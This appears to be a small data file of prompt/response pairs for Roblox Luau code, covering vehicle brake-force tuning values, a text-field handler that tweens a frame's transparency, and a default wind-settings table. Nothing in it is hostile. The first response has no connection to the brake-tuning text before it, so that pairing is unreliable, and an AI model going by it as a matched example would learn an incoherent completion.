	Tune.FBrakeForce	= 8500		-- Front brake force
	Tune.RBrakeForce	= 8000		-- Rear brake force
	Tune.PBrakeForce	= 9000		-- Handbrake force

	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]


Response:
field:GetPropertyChangedSignal("Text"):Connect(function()
	result()

	tween_service:Create(frame, info, {ImageTransparency = Random.new():NextNumber(0, 1)}):Play()
end)

field.FocusLost:Connect(function()
	field.Text = ""

	--

	tween_service:Create(frame, info, {ImageTransparency = 0}):Play()
end)


Prompt:
-- Use the script's attributes as the default settings.
-- The table provided is a fallback if the attributes
-- are undefined or using the wrong value types.

Response:
local DEFAULT_SETTINGS = Settings.new(script, {
	WindDirection = Vector3.new(0.5, 0, 0.5);
	WindSpeed = 0;
	WindPower = 0;
})